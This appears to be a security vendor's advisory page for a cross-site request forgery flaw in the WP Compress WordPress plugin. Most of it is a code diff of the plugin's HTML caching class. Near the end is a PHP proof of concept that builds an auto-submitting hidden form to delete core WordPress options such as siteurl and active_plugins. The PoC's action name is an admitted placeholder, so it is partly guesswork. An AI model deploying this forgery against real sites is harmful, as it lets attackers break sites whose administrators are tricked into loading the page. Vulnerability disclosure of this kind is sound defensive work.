+        } catch (Throwable $e) {
+        }
+    }
+
+
+
+    add_action('send_headers', 'wpc_response_cache_guard', 1);
+}
+
+if (!function_exists('wpc_edge_smaxage')) {
+
+
+
+
+
+
+
+    function wpc_edge_smaxage()
+    {
+        try {
+            if (!apply_filters('wpc_edge_smaxage_on', true)) {
+                return 0;
+            }
+            $cf = function_exists('get_option') ? get_option(defined('WPS_IC_CF') ? WPS_IC_CF : 'wps-ic-cf') : null;
+            if (!is_array($cf) || empty($cf['token']) || empty($cf['zone'])) {
+                return 0;
+            }
+            return max(0, (int) apply_filters('wpc_cf_html_edge_ttl', 86400));
+        } catch (Throwable $e) {
+            return 0;
+        }
+    }
+}
+
+if (!function_exists('wpc_edge_swr')) {
+
+
+
+
+    function wpc_edge_swr()
+    {
+        try {
+            return max(0, (int) apply_filters('wpc_html_swr', 86400));
+        } catch (Throwable $e) {
+            return 0;
+        }
+    }
+}
+
+if (!function_exists('wpc_cc_freshness')) {
+
+
+    function wpc_cc_freshness($maxAge, $sMaxAge, $swr)
+    {
+        $cc = 'public, max-age=' . (int) $maxAge;
+        if ((int) $sMaxAge > 0) {
+            return $cc . ', s-maxage=' . (int) $sMaxAge . ', stale-while-revalidate=86400';
+        }
+        return $cc . ((int) $swr > 0 ? ', stale-while-revalidate=' . (int) $swr : ', must-revalidate');
+    }
+}
+
 class wps_cacheHtml
 {

@@ -15,7 +107,7 @@

     public function __construct()
     {
-        //options[cache][advanced]
+
         $this->options = get_option(WPS_IC_SETTINGS);

         if (!file_exists(WPS_IC_CACHE)) {
@@ -25,7 +117,7 @@
         $this->url_key_class = new wps_ic_url_key();
         $this->urlKey = $this->url_key_class->setup();

-        // Append user cookie hash to the cache path if user is logged in
+
         $user_hash = '';
         if (defined('WPC_CACHE_LOGGED_IN') && WPC_CACHE_LOGGED_IN) {
             foreach ($_COOKIE as $key => $value) {
@@ -37,29 +129,29 @@

         }

-        // Add cookie variation to cache path
+
         $cookie_string = '';
         if (defined('WPC_CACHE_COOKIES') && WPC_CACHE_COOKIES !== false) {
             $cookie_values = [];
             $cache_cookies = WPC_CACHE_COOKIES;

             foreach ($cache_cookies as $cookie_name) {
-                // Check if this is a prefix cookie (ends with _)
+
                 if (substr($cookie_name, -1) === '_') {
-                    // This is a prefix - find all cookies that start with this prefix
-                    $prefix = $cookie_name; // Keep the underscore for matching
+
+                    $prefix = $cookie_name;
                     foreach ($_COOKIE as $actual_cookie_name => $cookie_value) {
                         if (strpos($actual_cookie_name, $prefix) === 0 && !empty($cookie_value)) {
-                            // Get the suffix (part after the prefix)
+
                             $suffix = substr($actual_cookie_name, strlen($prefix));

-                            // Create a 7-character hash of the suffix and append to cookie value
+
                             $suffix_hash = substr(hash('md5', $suffix), 0, 7);
                             $cookie_values[] = $cookie_value . '_' . $suffix_hash;
                         }
                     }
                 } else {
-                    // Regular cookie - exact match
+
                     if (isset($_COOKIE[$cookie_name]) && !empty($_COOKIE[$cookie_name])) {
                         $cookie_values[] = $_COOKIE[$cookie_name];
                     }
@@ -74,44 +166,44 @@
         $this->cachePath = WPS_IC_CACHE . $user_hash . $this->urlKey . $cookie_string . '/';
     }

-    /**
-     * FrontEnd Editors Detection for various page builders
-     * @return bool
-     */
+
+
+
+
     public static function isPageBuilder()
     {
-        $page_builders = ['run_compress', //wpc
-            'run_restore', //wpc
-            'elementor-preview', //elementor
-            'fl_builder', //beaver builder
-            'et_fb', //divi
-            'preview', //WP Preview
-            'builder', //builder
-            'brizy', //brizy
-            'fb-edit', //avada
-            'bricks', //bricks
-            'ct_template', //ct_template
-            'ct_builder', //ct_builder
-            'cs-render', //cornerstone
-            'tatsu', //tatsu
-            'trp-edit-translation', //thrive
-            'brizy-edit-iframe', //brizy
-            'ct_builder', //oxygen
-            'livecomposer_editor', //livecomposer
-            'tatsu', //tatsu
-            'tatsu-header', //tatsu-header
-            'tatsu-footer', //tatsu-footer
-            'is-editor-iframe', //tatsu-footer
-            'tve' //thrive
+        $page_builders = ['run_compress',
+            'run_restore',
+            'elementor-preview',
+            'fl_builder',
+            'et_fb',
+            'preview',
+            'builder',
+            'brizy',
+            'fb-edit',
+            'bricks',
+            'ct_template',
+            'ct_builder',
+            'cs-render',
+            'tatsu',
+            'trp-edit-translation',
+            'brizy-edit-iframe',
+            'ct_builder',
+            'livecomposer_editor',
+            'tatsu',
+            'tatsu-header',
+            'tatsu-footer',
+            'is-editor-iframe',
+            'tve'
         ];

         if ((!empty($_GET['action']) && $_GET['action'] == 'in-front-editor')) {
-            //brizyFrontend fix
+
             return true;
         }

         if ((!empty($_GET['action']) && sanitize_text_field($_GET['action']) == 'edit#op-builder') || !empty($_GET['op3editor'])) {
-            //optimizePress builder fix
+
             return true;
         }

@@ -136,10 +228,10 @@
         return false;
     }

-    /**
-     * FrontEnd Editors Detection for various page builders
-     * @return bool
-     */
+
+
+
+
     public static function isPageBuilderFE()
     {
         if (class_exists('BT_BB_Root')) {
@@ -206,7 +298,7 @@

     public function cacheExpired($prefix = '')
     {
-        // Does not work on nginx, kill it
+
         return false;

         if (!empty($prefix)) {
@@ -219,7 +311,7 @@
             return true;
         }

-        // Hours into minutes into seconds
+
         $expireInterval = $this->options['cache']['expire'] * 60 * 60;
         $fileModifiedTime = filemtime($cacheFile);

@@ -256,33 +348,606 @@
     }


-    /**
-     * Just verify it's not some page test as we don't want those to cache HTML
-     * @return void
-     */
+
+
+
+
     public function pageTest()
     {
         return false;
     }

+
+
+
+
+    public static function critBgPreload($buffer)
+    {
+        if (!is_string($buffer) || strpos($buffer, 'wpc-lcp-bg-preload') !== false
+            || strpos($buffer, 'id="wpc-crit-bg-preload"') !== false
+            || !apply_filters('wpc_crit_bg_preload', true)
+            || !preg_match('/<style[^>]*id="wpc-critical-css"[^>]*>(.*?)</style>/s', $buffer, $wpc_pm)) {
+            return $buffer;
+        }
+        if (!preg_match('/background(?:-image)?s*:s*[^;{}]*url(s*(['"]?)((?:https?:)?/[^)'"]{8,500}.(?:jpe?g|png|webp|avif|svg)(?:?[^)'"]{0,120})?)1/i', $wpc_pm[1], $wpc_pu)) {
+            return $buffer;
+        }
+        $wpc_ph = html_entity_decode($wpc_pu[2], ENT_QUOTES);
+        if (strpos($wpc_ph, '//') === 0) {
+            $wpc_ph = 'https:' . $wpc_ph;
+        } elseif ($wpc_ph[0] === '/' && !empty($_SERVER['HTTP_HOST'])) {
+            $wpc_ph = 'https://' . $_SERVER['HTTP_HOST'] . $wpc_ph;
+        }
+
+
+
+        $wpc_stem840 = preg_replace('/.[a-z0-9]+$/i', '', basename((string) parse_url($wpc_ph, PHP_URL_PATH)));
+        if ($wpc_stem840 !== '' && preg_match('/<linkb[^>]*id="wpc-atf-bg-preload"[^>]*>s*/i', $buffer, $wpc_atfm840)
+            && strpos($wpc_atfm840[0], $wpc_stem840 . '.') !== false) {
+            $buffer = str_replace($wpc_atfm840[0], '', $buffer);
+        }
+        $wpc_pt = '<link id="wpc-crit-bg-preload" rel="preload" as="image" fetchpriority="high" href="' . esc_url($wpc_ph) . '">';
+        return str_replace($wpc_pm[0], $wpc_pt . $wpc_pm[0], $buffer);
+    }
+
+
+
+
+
+
+    public static function bricksAtfUnveil($buffer)
+    {
+        if (!is_string($buffer) || strpos($buffer, 'bricks-lazy-hidden') === false
+            || strpos($buffer, 'id="wpc-bricks-unveil"') !== false || !apply_filters('wpc_bricks_unveil', true)) {
+            return $buffer;
+        }
+        if (!preg_match('/<style[^>]*id="wpc-critical-css"[^>]*>(.*?)</style>/s', $buffer, $wpc_bm)) {
+
+
+
+            $wpc_st = preg_replace_callback('/<[a-z][a-z0-9-]*b[^>]*bclass=["'][^"']*bricks-lazy-hidden[^"']*["'][^>]*>/i', function ($m) {
+                return preg_replace('/s*bbricks-lazy-hiddenb/', '', $m[0]);
+            }, $buffer);
+            return is_string($wpc_st) ? $wpc_st : $buffer;
+        }
+        $wpc_out = '';
+        if (preg_match_all('/([^{}]+){([^{}]*)}/', $wpc_bm[1], $wpc_br, PREG_SET_ORDER)) {
+            foreach ($wpc_br as $wpc_r) {
+                if (strlen($wpc_out) > 8192 || strpos($wpc_r[1], 'bricks-lazy-hidden') !== false) {
+                    continue;
+                }
+                if (!preg_match_all('/(?:^|;)s*(background(?:-image)?)s*:s*([^;]+)/i', $wpc_r[2], $wpc_bd, PREG_SET_ORDER)) {
+                    continue;
+                }
+                $wpc_sels = [];
+                foreach (explode(',', $wpc_r[1]) as $wpc_s) {
+                    $wpc_s = trim($wpc_s);
+                    if ($wpc_s === '' || $wpc_s[0] === '@') {
+                        continue;
+                    }
+
+
+                    $wpc_lz = '.bricks-lazy-hidden.bricks-lazy-hidden.bricks-lazy-hidden';
+                    if (preg_match('/^(.*?)((?:::?[a-zA-Z-]+(?:([^()]*))?)+)$/', $wpc_s, $wpc_pm) && $wpc_pm[1] !== '') {
+                        $wpc_sels[] = $wpc_pm[1] . $wpc_lz . $wpc_pm[2];
+                    } else {
+                        $wpc_sels[] = $wpc_s . $wpc_lz;
+                    }
+                }
+                if (!$wpc_sels) {
+                    continue;
+                }
+                $wpc_decl = '';
+                foreach ($wpc_bd as $wpc_d) {
+                    $wpc_v = trim(preg_replace('/s*!importants*/i', '', $wpc_d[2]));
+                    if ($wpc_v === '' || stripos($wpc_v, 'none') === 0) {
+                        continue;
+                    }
+                    $wpc_decl .= strtolower($wpc_d[1]) . ':' . $wpc_v . ' !important;';
+                }
+                if ($wpc_decl !== '') {
+                    $wpc_out .= implode(',', $wpc_sels) . '{' . $wpc_decl . '}';
+                }
+            }
+        }
+        if ($wpc_out !== '') {
+
+
+
+            $buffer = str_replace($wpc_bm[0], $wpc_bm[0] . '<style id="wpc-bricks-unveil">@layer wpc-unveil{' . $wpc_out . '}</style>', $buffer);
+        }
+        return $buffer;
+    }
+
+
+
+
+    public static function varsGuard($buffer)
+    {
+        if (!is_string($buffer)
+            || (strpos($buffer, 'id="wpc-critical-css"') === false && strpos($buffer, "id='wpc-critical-css'") === false)
+            || strpos($buffer, 'wpc-vars-guard') !== false || !apply_filters('wpc_vars_guard', true)) {
+            return $buffer;
+        }
+        $wpc_vg = '';
+        $wpc_vgn = 0;
+        if (preg_match_all('/<linkb[^>]*rel=["']wpc-[a-z-]*stylesheet["'][^>]*href=["']([^"']+)["']/i', $buffer, $wpc_vgm)) {
+            foreach (array_unique($wpc_vgm[1]) as $wpc_vgh) {
+                if ($wpc_vgn >= 12 || strlen($wpc_vg) > 24576) {
+                    break;
+                }
+                $wpc_vgu = html_entity_decode($wpc_vgh, ENT_QUOTES);
+                $wpc_vgc = strrpos($wpc_vgu, 'wp-content/');
+                if ($wpc_vgc === false || !preg_match('/.css(?|$)/', $wpc_vgu)) {
+                    continue;
+                }
+                $wpc_vgr = (string) preg_replace('/[?#].*$/', '', substr($wpc_vgu, $wpc_vgc));
+                if (strpos($wpc_vgr, '..') !== false) {
+                    continue;
+                }
+                $wpc_vgp = trailingslashit(ABSPATH) . $wpc_vgr;
+                if (!@is_readable($wpc_vgp)) {
+                    continue;
+                }
+                $wpc_vgmt = (int) @filemtime($wpc_vgp);
+
+
+                $wpc_vgs = $wpc_vgp . '.vars2.css';
+                if (!@is_readable($wpc_vgs) || (int) @filemtime($wpc_vgs) < $wpc_vgmt) {
+                    $wpc_vgcss = (string) @file_get_contents($wpc_vgp);
+                    $wpc_vgout = '';
+                    if ($wpc_vgcss !== '' && strpos($wpc_vgcss, '--') !== false) {
+                        $wpc_vgemit = function ($chunk, $media) use (&$wpc_vgout) {
+                            if (strlen($wpc_vgout) > 16384 || strpos($chunk, '--') === false) {
+                                return;
+                            }
+                            if (preg_match_all('/[^{}@]+{[^{}]*--[w-]+s*:[^{}]*}/', $chunk, $wpc_vgb2)) {
+                                $wpc_blob = '';
+                                foreach ($wpc_vgb2[0] as $wpc_vgblk) {
+                                    if (strlen($wpc_vgout) + strlen($wpc_blob) > 16384) {
+                                        break;
+                                    }
+                                    $wpc_blob .= trim($wpc_vgblk);
+                                }
+                                if ($wpc_blob !== '') {
+                                    $wpc_vgout .= $media !== '' ? '@media ' . $media . '{' . $wpc_blob . '}' : $wpc_blob;
+                                }
+                            }
+                        };
+                        $wpc_off = 0;
+                        $wpc_len = strlen($wpc_vgcss);
+                        while (preg_match('/@media([^{]+){/i', $wpc_vgcss, $wpc_vm, PREG_OFFSET_CAPTURE, $wpc_off)) {
+                            $wpc_mstart = (int) $wpc_vm[0][1];
+                            $wpc_vgemit(substr($wpc_vgcss, $wpc_off, $wpc_mstart - $wpc_off), '');
+                            $wpc_i = $wpc_mstart + strlen($wpc_vm[0][0]);
+                            $wpc_d = 1;
+                            while ($wpc_i < $wpc_len && $wpc_d > 0) {
+                                $wpc_ch = $wpc_vgcss[$wpc_i];
+                                if ($wpc_ch === '{') { $wpc_d++; } elseif ($wpc_ch === '}') { $wpc_d--; }
+                                $wpc_i++;
+                            }
+                            $wpc_vgemit(substr($wpc_vgcss, $wpc_mstart + strlen($wpc_vm[0][0]), $wpc_i - $wpc_mstart - strlen($wpc_vm[0][0]) - 1), trim((string) $wpc_vm[1][0]));
+                            $wpc_off = $wpc_i;
+                        }
+                        $wpc_vgemit(substr($wpc_vgcss, $wpc_off), '');
+                    }
+                    @file_put_contents($wpc_vgs, $wpc_vgout, LOCK_EX);
+                    @touch($wpc_vgs, $wpc_vgmt);
+                }
+                $wpc_vgtxt = (string) @file_get_contents($wpc_vgs);
+                if ($wpc_vgtxt !== '') {
+                    $wpc_vg .= $wpc_vgtxt;
+                    $wpc_vgn++;
+                }
+            }
+        }
+        if ($wpc_vg !== '') {
+
+
+
+
+
+            $wpc_vgtag = '<style id="wpc-vars-guard">' . $wpc_vg . '</style>';
+
+
+
+            $wpc_vgat = -1;
+            if (preg_match('/<styleb[^>]*id=["']wpc-critical-css["']/i', $buffer, $wpc_vgcm, PREG_OFFSET_CAPTURE)) {
+                $wpc_vgat = (int) $wpc_vgcm[0][1];
+            }
+            if (preg_match('/<linkb[^>]*rel=["']wpc-[a-z-]*stylesheet["']/i', $buffer, $wpc_vgfm, PREG_OFFSET_CAPTURE)
+                && ($wpc_vgat < 0 || (int) $wpc_vgfm[0][1] < $wpc_vgat)) {
+                $wpc_vgat = (int) $wpc_vgfm[0][1];
+            }
+            if ($wpc_vgat >= 0) {
+                $buffer = substr_replace($buffer, $wpc_vgtag, $wpc_vgat, 0);
+            } else {
+                $buffer = str_ireplace('</head>', $wpc_vgtag . '</head>', $buffer);
+            }
+        }
+        return $buffer;
+    }
+
+
+
+
+
+
+
+    public static function critlessUndefer($buffer, $ctx = 'render')
+    {
+        if (!is_string($buffer)
+            || strpos($buffer, 'id="wpc-critical-css"') !== false || strpos($buffer, "id='wpc-critical-css'") !== false
+            || !preg_match('/<linkb[^>]*(?:rel|type)=["']wpc-(?:late-|mobile-)?stylesheet["']/i', $buffer)) {
+            return $buffer;
+        }
+
+
+        $buffer = preg_replace_callback('/<linkb[^>]*>/i', function ($lm) {
+            return str_replace(
+                ['rel="wpc-late-stylesheet"', "rel='wpc-late-stylesheet'",
+                 'rel="wpc-stylesheet"', "rel='wpc-stylesheet'",
+                 'rel="wpc-mobile-stylesheet"', "rel='wpc-mobile-stylesheet'",
+                 'type="wpc-stylesheet"', "type='wpc-stylesheet'",
+                 'type="wpc-mobile-stylesheet"', "type='wpc-mobile-stylesheet'"],
+                ['rel="stylesheet"', "rel='stylesheet'",
+                 'rel="stylesheet"', "rel='stylesheet'",
+                 'rel="stylesheet"', "rel='stylesheet'",
+                 'type="text/css"', "type='text/css'",
+                 'type="text/css"', "type='text/css'"],
+                $lm[0]
+            );
+        }, $buffer);
+        if (function_exists('wpc_cache_first_log') && !get_transient('wpc_undefer_log')) {
+            set_transient('wpc_undefer_log', 1, 300);
+            wpc_cache_first_log('critless-undefer', '', '', ['variant' => $ctx]);
+        }
+        return $buffer;
+    }
+
     public function saveCache($buffer, $prefix = '')
     {
+
+
+
+
+
+
+
+        $wpc_qs284 = isset($_SERVER['QUERY_STRING']) ? (string) $_SERVER['QUERY_STRING'] : '';
+        if ($wpc_qs284 !== '') {
+            if (class_exists('wps_ic_url_key') && method_exists('wps_ic_url_key', 'queryIsCacheable')) {
+                if (!wps_ic_url_key::queryIsCacheable($wpc_qs284, 'write')) {
+                    return $buffer;
+                }
+            } else {
+                parse_str($wpc_qs284, $wpc_qp284);
+                foreach (array_keys((array) $wpc_qp284) as $wpc_qk284) {
+                    $wpc_qk284 = strtolower((string) $wpc_qk284);
+                    if (strpos($wpc_qk284, 'utm_') !== 0
+                        && !in_array($wpc_qk284, ['fbclid', 'gclid', 'gclsrc', 'dclid', 'msclkid', 'mc_cid', 'mc_eid', 'ref', '_ga', 'igshid', 'ttclid'], true)) {
+                        return $buffer;
+                    }
+                }
+            }
+        }
+
+
+
+
+        $wpc_is_warm66 = !empty($_SERVER['HTTP_X_WPC_CACHE_WARM']) && function_exists('wpc_cache_first_log');
+        $wpc_wgate = function ($g, $x = []) use ($wpc_is_warm66, $prefix) {
+
+
+            if (!empty($_SERVER['HTTP_X_WPC_DEBUG']) && !headers_sent()) {
+                header('X-WPC-Cache-Save: skip-' . $g, false);
+            }
+            if ($wpc_is_warm66) {
+                wpc_cache_first_log('warm-drop-' . $g, (string) $this->urlKey, '', array_merge(['variant' => (string) $prefix], $x));
+            }
+        };
+        if ($wpc_is_warm66) {
+            wpc_cache_first_log('warm-rx', (string) $this->urlKey, '', ['variant' => (string) $prefix]);
+        }

         if (!empty($_GET['disable_cache'])) {
+            $wpc_wgate('disable-param');
+            return $buffer;
+        }
+
+
+        if (!is_string($buffer) || strlen($buffer) < 1024 || stripos($buffer, '</html>') === false) {
+            $wpc_wgate('body-floor', ['len' => is_string($buffer) ? strlen($buffer) : -1]);
+            return $buffer;
+        }
+
+
+
+
+
+        if (function_exists('wpc_copy_admissible')) {
+            $wpc_adm700 = wpc_copy_admissible($buffer, (string) $this->urlKey, (string) $prefix);
+            if ($wpc_adm700 !== '') {
+                if (!headers_sent()) {
+                    header('Cache-Control: private, no-store, max-age=0', true);
+                }
+                $wpc_wgate('admission-' . $wpc_adm700);
+                return $buffer;
+            }
+        }
+
+
+
+        if (function_exists('wpc_lane_split_detect613')) {
+            wpc_lane_split_detect613($buffer);
+        }
+
+        $buffer = self::critlessUndefer($buffer, (string) $prefix);
+
+        $buffer = self::varsGuard($buffer);
+
+
+        if (is_string($buffer)
+            && strpos($buffer, 'id="wpc-critical-css"') !== false
+            && apply_filters('wpc_late_faces', true)
+            && ($wpc_ss210 = (int) get_option('wpc_subsets_seen', 0)) && (time() - $wpc_ss210) < 7 * DAY_IN_SECONDS) {
+            $wpc_lfl210 = '';
+            $wpc_n210 = 0;
+
+
+            $wpc_pin210 = [];
+
+
+            if (preg_match_all('/@font-faces*{[^{}]*font-familys*:s*['"]?([^;'"}]+?) Fallback['"]?s*[;}]/i', $buffer, $wpc_pfm210)) {
+                foreach ($wpc_pfm210[1] as $wpc_pf210) {
+                    $wpc_pin210[strtolower(trim($wpc_pf210))] = 1;
+                }
+            }
+            if (preg_match_all('/font-familys*:s*['"]?([^;'"}]+)['"]?s*;[^}]{0,400}data:font/woff2/i', $buffer, $wpc_sfm210)) {
+                foreach ($wpc_sfm210[1] as $wpc_sf210) {
+                    $wpc_pin210[strtolower(trim($wpc_sf210))] = 1;
+                }
+            }
+            $buffer = preg_replace_callback(
+                '/<linkb[^>]*rel=["'](?:wpc-(?:mobile-|late-)?)?stylesheet["'][^>]*>/i',
+                function ($lm) use (&$wpc_lfl210, &$wpc_n210, $wpc_pin210) {
+                    if ($wpc_n210 >= 8 || !preg_match('/href=["']([^"']+)["']/', $lm[0], $hm)) {
+                        return $lm[0];
+                    }
+                    if (stripos($lm[0], 'wpc-used-css') !== false) {
+                        return $lm[0];
+                    }
+                    $href = html_entity_decode($hm[1], ENT_QUOTES);
+                    $cp = strrpos($href, 'wp-content/');
+                    if ($cp === false || !preg_match('/.css(?|$)/', $href)) {
+                        return $lm[0];
+                    }
+                    $rel = (string) preg_replace('/[?#].*$/', '', substr($href, $cp));
+                    if (strpos($rel, '..') !== false || substr($rel, -12) === '.nofaces.css') {
+                        return $lm[0];
+                    }
+                    $path = trailingslashit(ABSPATH) . $rel;
+                    if (!@is_readable($path)) {
+                        return $lm[0];
+                    }
+                    $mt = (int) @filemtime($path);
+                    $sib = preg_replace('/.css$/', '.nofaces.css', $path);
+                    $fsib = preg_replace('/.css$/', '.faces.css', $path);
+
+
+
+
+
+
+                    $wpc_rr210 = get_option('wpc_font_remote_ranges', []);
+                    if (!is_array($wpc_rr210)) { $wpc_rr210 = []; }
+                    if (!empty($wpc_rr210)) { ksort($wpc_rr210); }
+                    $wpc_pfh210 = substr(md5(
+                        implode(',', array_keys($wpc_pin210))
+                        . (empty($wpc_rr210) ? '' : '|rr2:' . md5(serialize($wpc_rr210)))
+                    ), 0, 8);
+                    if (!@is_readable($sib) || (int) @filemtime($sib) < $mt
+                        || strpos((string) @file_get_contents($sib, false, null, 0, 24), $wpc_pfh210) === false) {
+
+
+                        if (!((function_exists('wp_doing_ajax') && wp_doing_ajax())
+                            || (defined('DOING_CRON') && DOING_CRON)
+                            || !empty($_SERVER['HTTP_X_WPC_CACHE_WARM']))) {
+                            return $lm[0];
+                        }
+                        $css = (string) @file_get_contents($path);
+                        if ($css === '' || stripos($css, '@font-face') === false || stripos($css, 'url(') === false) {
+                            return $lm[0];
+                        }
+                        $faces = '';
+                        $stripped = preg_replace_callback('/@font-faces*{[^{}]*}/is', function ($fm) use (&$faces, $wpc_pin210) {
+                            if (stripos($fm[0], 'url(') !== false && stripos($fm[0], 'data:') === false) {
+                                if (preg_match('/font-familys*:s*['"]?([^;'"}]+)/i', $fm[0], $wpc_ffm210)
+                                    && empty($wpc_pin210[strtolower(trim($wpc_ffm210[1]))])) {
+                                    return $fm[0];
+                                }
+                                $faces .= $fm[0];
+                                return '';
+                            }
+                            return $fm[0];
+                        }, $css);
+                        if (!is_string($stripped) || $faces === '') {
+                            return $lm[0];
+                        }
+                        if (class_exists('wps_ic_combine_css')) {
+                            try {
+                                $wpc_min210 = (new wps_ic_combine_css())->minifyCSS($stripped);
+                                if (is_string($wpc_min210) && $wpc_min210 !== '') {
+                                    $stripped = $wpc_min210;
+                                }
+                            } catch (Throwable $e) {
+                            }
+                        }
+                        @file_put_contents($sib, '/*pf:' . $wpc_pfh210 . '*/' . $stripped, LOCK_EX);
+                        @file_put_contents($fsib, $faces, LOCK_EX);
+                        @touch($sib, $mt);
+                        @touch($fsib, $mt);
+                    }
+                    if (!@is_readable($fsib) || (int) @filesize($fsib) < 1) {
+                        return $lm[0];
+                    }
+                    $wpc_n210++;
+                    $base = substr($href, 0, $cp);
+                    $newHref = $base . preg_replace('/.css$/', '.nofaces.css', $rel) . '?nf=' . $mt;
+                    $faceHref = $base . preg_replace('/.css$/', '.faces.css', $rel) . '?nf=' . $mt;
+
+
+
+                    $wpc_lfl210 .= '<link rel="stylesheet" data-wpc-lf-href="' . esc_url($faceHref) . '" media="not all" data-wpc-lf="1" />';
+                    return str_replace($hm[1], esc_url($newHref), $lm[0]);
+                },
+                $buffer
+            );
+            if ($wpc_lfl210 !== '') {
+                $buffer = str_ireplace('</head>', $wpc_lfl210 . '</head>', $buffer);
+            }
+        }
+
+
+
+
+
+
+        if (empty($GLOBALS['wpc_cc_guarded'])) {
+            if (!headers_sent() && !is_admin() && !(function_exists('is_user_logged_in') && is_user_logged_in())) {
+                header('X-WPC-CC: unguarded-' . (isset($GLOBALS['wpc_cc_skip']) ? (string) $GLOBALS['wpc_cc_skip'] : 'never-ran'));
+            }
+        } elseif (headers_sent($wpc_hsf195, $wpc_hsl195)) {
+            if (function_exists('wpc_cache_first_log') && !get_transient('wpc_cc_hs_log')) {
+                set_transient('wpc_cc_hs_log', 1, 60);
+                wpc_cache_first_log('cc-headers-sent', (string) $this->urlKey, '', ['variant' => (string) $prefix,
+                    'at' => basename((string) $wpc_hsf195) . ':' . (int) $wpc_hsl195]);
+            }
+            unset($GLOBALS['wpc_cc_guarded']);
+        }
+        if (!empty($GLOBALS['wpc_cc_guarded']) && !headers_sent()) {
+            if (function_exists('wpc_update_window_active') && wpc_update_window_active()
+                && function_exists('wpc_render_armed_for_cache') && !wpc_render_armed_for_cache($buffer)) {
+                $wpc_why195 = 'crit-missing';
+                if (!is_string($buffer) || $buffer === '') { $wpc_why195 = 'empty-buffer'; }
+                elseif (!empty($_GET['criticalCombine'])) { $wpc_why195 = 'combine-param'; }
+                elseif (function_exists('wpc_v2_zone_cdn_suppressed') && wpc_v2_zone_cdn_suppressed()) { $wpc_why195 = 'cdn-suppressed'; }
+                header('X-WPC-Update-Window: degraded');
+                header('X-WPC-CC: window-unarmed-' . $wpc_why195);
+                unset($GLOBALS['wpc_cc_guarded']);
+            } else {
+
+
+
+
+
+                if (function_exists('header_remove') && apply_filters('wpc_strip_setcookie_on_public', true)) {
+                    @header_remove('Set-Cookie');
+                }
+                $wpc_hma174 = max(0, (int) apply_filters('wpc_html_max_age', 300));
+                $wpc_sm178  = function_exists('wpc_edge_smaxage') ? wpc_edge_smaxage() : 0;
+
+
+
+                if (function_exists('header_remove')) {
+                    @header_remove('Pragma');
+                }
+                header('Expires: ' . gmdate('D, d M Y H:i:s', time() + $wpc_hma174) . ' GMT');
+                header('Cache-Control: ' . wpc_cc_freshness($wpc_hma174, $wpc_sm178,
+                    function_exists('wpc_edge_swr') ? wpc_edge_swr() : 0));
+
+
+
+
+
+
+
+                header('Server-Timing: wpc-mint;desc=' . time(), false);
+
+
+
+                if (class_exists('wps_rewriteLogic') && method_exists('wps_rewriteLogic', 'wpc_nat_why808')) {
+                    header('Server-Timing: wpc-nat;desc=' . wps_rewriteLogic::wpc_nat_why808(), false);
+                }
+                unset($GLOBALS['wpc_cc_guarded']);
+            }
+        }
+
+
+
+
+
+        if (function_exists('wpc_update_window_active') && wpc_update_window_active()
+            && function_exists('wpc_render_armed_for_cache') && !wpc_render_armed_for_cache($buffer)) {
+            $wpc_wgate('update-window');
             return $buffer;
         }

         if (empty($buffer) || strlen($buffer) < 100 || strpos($buffer, '</body>') === false) {
+            $wpc_wgate('thin-buffer', ['len' => strlen((string) $buffer)]);
+            return $buffer;
+        }
+
+
+
+
+        if (!empty($GLOBALS['wpc_shed520'])) {
+            $wpc_wgate('rewrite-shed', []);
             return $buffer;
         }

         if (empty($this->options['cache']['ignore-server-control']) || $this->options['cache']['ignore-server-control'] == '0') {
             $cacheControl = strtolower($_SERVER['HTTP_CACHE_CONTROL'] ?? '');
             if (strpos($cacheControl, 'no-cache') !== false || strpos($cacheControl, 'no-store') !== false || strpos($cac

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-17608 - WP Compress <= 7.10.09 - Cross-Site Request Forgery to Arbitrary Options Deletion

// Configuration
$target_url = 'http://your-wordpress-site.com'; // Change this to the target WordPress site URL
$wp_compress_options_delete_path = '/wp-admin/admin-ajax.php'; // Placeholder path, actual path depends on the vulnerable function

// Payload: Form to be auto-submitted to the vulnerable function
// This PoC assumes the vulnerable function is an AJAX action that deletes options.
// Replace the 'action' parameter with the exact hook name from the plugin.
$payload = array(
    'action' => 'wpc_delete_options', // Placeholder action hook for the vulnerable functionality
    'options' => array('siteurl', 'home', 'active_plugins', 'template', 'stylesheet') // Options to delete
);

// Build HTML form that posts to the target
$html_form = '<form id="csrf-form" action="' . $target_url . $wp_compress_options_delete_path . '" method="POST">';
foreach ($payload as $key => $value) {
    if (is_array($value)) {
        foreach ($value as $v) {
            $html_form .= '<input type="hidden" name="' . $key . '[]" value="' . $v . '" />';
        }
    } else {
        $html_form .= '<input type="hidden" name="' . $key . '" value="' . $value . '" />';
    }
}
$html_form .= '</form>';
$html_form .= '<script>document.getElementById("csrf-form").submit();</script>';

// Send the exploit to the victim (in a real attack, this would be hosted on an attacker-controlled site)
// Here, we just echo the form for demonstration purposes.
echo $html_form;

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.